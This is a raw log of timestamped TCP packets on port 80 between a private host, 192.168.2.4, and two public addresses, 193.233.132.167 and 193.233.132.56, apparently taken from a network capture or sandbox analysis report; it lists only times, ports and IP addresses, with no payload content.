Apr 18, 2024 23:40:06.404593945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404598951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404633045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404645920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404671907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404680014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404710054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404717922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404747963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404752016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404786110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404791117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404824972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404834032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404863119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404874086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404901028 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404905081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404937983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404942989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404974937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404979944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405013084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405019045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405050993 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405056953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405087948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405119896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405124903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405139923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405164003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405170918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405200958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405206919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405239105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405242920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405277967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405291080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405314922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405320883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405352116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405361891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405389071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405396938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405426979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405436993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405464888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405472994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405503035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405513048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405539036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405539036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405576944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405586004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405613899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405618906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405652046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405657053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405690908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405695915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405728102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405739069 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405766010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405776024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405803919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405812979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405842066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405854940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405879021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405886889 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405916929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405927896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405955076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.405962944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.405992985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406002045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406030893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406039000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406068087 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406076908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406111002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406115055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406155109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406160116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406193018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406224966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406229019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406239986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406265974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406286955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406315088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406322002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406369925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406369925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406409025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406418085 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406446934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406455994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406481981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406495094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406533003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406543016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406577110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406580925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406615019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406621933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406652927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406658888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406691074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406703949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406728983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406735897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406766891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406779051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406805038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406819105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406842947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406864882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406879902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406888962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406919003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406929016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406958103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.406968117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.406996012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407007933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407032967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407044888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407069921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407082081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407108068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407115936 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407151937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407151937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407191038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407227039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407243013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407263994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407278061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407293081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407311916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.407320976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407330036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.407357931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.494354010 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494431019 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494472980 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494510889 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494524956 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.494551897 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494592905 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494604111 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.494631052 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494669914 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494679928 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.494709015 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494715929 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.494746923 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494787931 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.494797945 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.494843006 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.640202999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.640252113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.640333891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.649841070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.649883986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.649912119 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.649950027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.650583982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.650624037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.650681019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.650691986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.650721073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.650728941 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.650769949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.651781082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.651839018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.652647972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.652686119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.652705908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.652724028 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.652740002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.652766943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.652780056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.652815104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657444954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657618999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657659054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657696962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657701015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657742023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657774925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657779932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657774925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657807112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657816887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657825947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657855988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657867908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657893896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657906055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657932043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657941103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.657972097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.657979012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658010006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658019066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658046961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658056974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658085108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658092022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658123016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658129930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658162117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658174038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658200979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658210993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658245087 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658252001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658282995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658301115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658322096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658330917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658363104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658371925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658401012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658410072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658437967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658449888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658478975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658488035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658519030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658529997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658556938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658574104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658595085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658603907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658632040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658644915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658669949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658684969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658709049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658719063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658746958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658762932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658786058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658801079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658823013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658834934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658860922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658873081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658898115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658910036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658936024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658943892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.658974886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.658984900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659013033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659024000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659050941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659059048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659087896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659101009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659126043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659138918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659164906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659202099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659213066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659240961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659257889 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659279108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659288883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659317970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659328938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659354925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659385920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659393072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659425974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659431934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659449100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659471035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659482956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659508944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659522057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659548044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659564972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659585953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659600019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659625053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659636974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659665108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659672022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659702063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659708977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659739017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659750938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659778118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659787893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659816027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659823895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659854889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659862995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659893036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659902096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659930944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659940958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.659970045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.659987926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660007000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660023928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660043955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660062075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660085917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660113096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660140991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660145044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660185099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660192966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660222054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660233974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660262108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660265923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660300016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660306931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660339117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660348892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660377026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660387039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660414934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660420895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660453081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660464048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660490990 CEST	80	49739	193.233.132.167	192.168.2.4
